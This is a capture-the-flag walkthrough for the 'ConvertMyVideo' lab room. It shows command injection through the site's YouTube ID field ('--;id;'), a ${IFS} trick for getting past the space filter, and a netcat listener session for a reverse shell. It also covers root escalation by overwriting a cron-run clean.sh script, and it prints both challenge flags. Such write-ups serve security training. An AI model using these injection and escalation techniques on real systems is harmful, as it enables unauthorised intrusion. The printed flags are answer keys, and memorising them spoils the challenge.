ConvertMyVideo is a medium room released on May 2nd, 2020 by overjt.
User Own
What is the name of the secret folder?
Nmap scan:
The system is running a website that converts YouTube videos to MP3 files. Running ffuf on the website shows a subdirectory called admin.
What is the user to access the secret folder?
The website takes an input for a YouTube ID. Supplying nothing shows the website is using youtube-dl. Checking the JavaScript for the website in main.js shows that the input is being concatenated to the base YouTube URL.
Using the input --;id; shows that the website is vulnerable to command injection.
A Python reverse shell can be used to get in as www-data.
Note: Spaces invalidate any command, so the string ${IFS} can be used as a substitute for a space.
Checking the admin directory:
The contents of .htpasswd are:
The login credentials for the admin page are the username itsmeadmin and a hashed password.
What is the user flag?
The user flag is inside the admin directory.
The flag is flag{0d8486a0c0c42503bb60ac77f4046ed7}.
System Own
What is the root flag?
Inside tmp is a file called clean.sh. Replacing the contents of clean.sh with a reverse shell will eventually get you in as root, as root runs this file periodically to remove all download files.
The root flag inside /root/root.txt is flag{d9b368018e912b541a4eb68399c5e94a}.
{
"status": 127,
"errors": "WARNING: Assuming --restrict-filenames since file system encoding cannot encode all characters. Set the LC_ALL environment variable to fix this.\nUsage: youtube-dl [OPTIONS] URL [URL...]\n\nyoutube-dl: error: You must provide at least one URL.\nType youtube-dl --help to see a list of all options.\nsh: 1: -f: not found\n",
"url_orginal": "--;id;",
"output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n",
"result_url": "/tmp/downloads/6444366a5e64a.mp3"
}
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.6.xx.xx] from (UNKNOWN) [10.10.xx.xx] 43554
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ls
ls
admin images index.php js style.css tmp
ls admin -a
. .. .htaccess .htpasswd flag.txt index.php